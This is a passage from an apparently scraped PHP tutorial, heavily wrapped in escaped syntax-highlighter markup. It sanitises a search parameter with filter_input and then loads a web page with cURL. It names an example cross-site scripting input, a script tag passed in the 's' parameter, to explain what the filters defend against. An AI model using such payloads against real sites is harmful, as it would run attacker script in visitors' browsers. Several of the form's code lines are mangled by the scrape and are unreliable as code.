&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$search_html&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= filter_input(INPUT_GET, &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;s&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;FILTER_SANITIZE_SPECIAL_CHARS);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$search_url&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= filter_input(INPUT_GET, &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;s&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;FILTER_SANITIZE_ENCODED);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;?&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;br /&gt;
&lt;form action=&quot;&amp;lt;/code&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;code class=&quot;string&quot;&gt;&quot;index.php&quot;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;method=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;get&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/form&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;br /&gt;
&lt;div&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&lt;label &lt;=&quot;&quot; code=&quot;&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;for&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;search&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;Search:&lt;/code&gt;&lt;/label&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&lt;input type=&quot;&amp;lt;/code&quot; /&gt;&lt;code class=&quot;string&quot;&gt;&quot;text&quot;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;name=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;s&quot;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;id=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;search&quot;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;value=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;br /&gt;
&lt;div &lt;=&quot;&quot; code=&quot;&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;class&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;bar&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;input type=&quot;&amp;lt;/code&quot; /&gt;&lt;code class=&quot;string&quot;&gt;&quot;submit&quot;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;value=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;Make it so&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/code&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;14&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;15&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;16&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;if&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(isset(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;s&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;])){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;17&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;br /&gt;
&lt;h2&gt;&lt;code class=&quot;string&quot;&gt;You searched for &#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$search_html&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;/h2&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;18&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&lt;a href=&quot;http://www.blogger.com/index.php?search=%27%3C/code%3E%3Ccode%20class=&quot; plain&quot;=&quot;&quot;&gt;.&lt;/a&gt;&lt;/code&gt;&lt;a href=&quot;http://www.blogger.com/index.php?search=%27%3C/code%3E%3Ccode%20class=&quot; plain&quot;=&quot;&quot;&gt;&lt;code class=&quot;variable&quot;&gt;$search_url&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&quot;&amp;gt;Search again.&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;
&lt;code class=&quot;string&quot;&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;19&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;20&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;?&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;See this &lt;a href=&quot;http://icant.co.uk/articles/phpforhacks/index.php?demo=10&quot;&gt;filtering example in action&lt;/a&gt;. Without the filters, attackers could send parameters like &lt;code&gt;index.php?s=&quot;&lt;script&gt;
&lt;/code&gt;, which would execute third-party code on your website. With filtering, this malicious code is converted to HTML entities.&lt;/p&gt;&lt;p&gt;

If you want to use &lt;code&gt;POST&lt;/code&gt; as the method to send the data in your form, then the PHP variables will change accordingly to &lt;code&gt;$_POST&lt;/code&gt; for the array and &lt;code&gt;INPUT_POST&lt;/code&gt; for the filter.&lt;/p&gt;&lt;h3&gt;



Loading Content From The Web&lt;/h3&gt;&lt;p&gt;

PHP comes with a lot of &lt;a href=&quot;http://uk2.php.net/manual/en/ref.filesystem.php&quot;&gt;file functions&lt;/a&gt;
 that allow you to read and write files from the hard drive or to load 
content from the Web. I&#39;ve found, however, that for security reasons a 
lot of hosting companies disable them, especially when you try to read 
content from a third-party resource. The workaround is to use cURL to 
load information from the Web. cURL is a tool that allows you to make 
HTTP requests to retrieve information—a kind of browser in command-line 
form. I&#39;ve &lt;a href=&quot;http://www.wait-till-i.com/2009/12/18/curl-your-view-source-of-the-web/&quot;&gt;written a detailed post about cURL and how to use it&lt;/a&gt;. Here, then, is a simple use case to illustrate:&lt;/p&gt;&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_141326&quot;&gt;



&lt;div class=&quot;lines&quot;&gt;



&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;?php&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// define the URL to load&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$url&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;a href=&quot;http://www.smashingmagazine.com/&quot;&gt;http://www.smashingmagazine.com&lt;/a&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// start cURL&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= curl_init();&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// tell cURL what the URL is&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;curl_setopt(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;, CURLOPT_URL, &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$url&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// tell cURL that you want the data back from that URL&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;curl_setopt(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;, CURLOPT_RETURNTRANSFER, 1);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// run cURL&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$output&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= curl_exec(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// end the cURL call (this also cleans up memory so it is&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// important)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;14&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;curl_close(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;15&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// display the output&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;16&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;variable&quot;&gt;$output&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;17&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;?&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;

&lt;a href=&quot;http://icant.co.uk/articles/phpforhacks/index.php?demo=11&quot;&gt;If you run this in the browser&lt;/a&gt;, you&#39;ll see Smashing Magazine&#39;s home page.&lt;/p&gt;&lt;p&gt;

&lt;img src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/04/smashingmagwithcurl1.jpg&quot; alt=&quot;Smashing Magazine homepage loaded with cURL&quot; width=&quot;450&quot;&gt;&lt;/p&gt;&lt;p&gt;

You could also strip out content from the data:&lt;/p&gt;&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_677858&quot;&gt;



&lt;div class=&quot;lines&quot;&gt;



&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;?php&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// define the URL to load&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$url&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;a href=&quot;http://www.smashingmagazine.com/&quot;&gt;http://www.smashingmagazine.com&lt;/a&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// start cURL&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
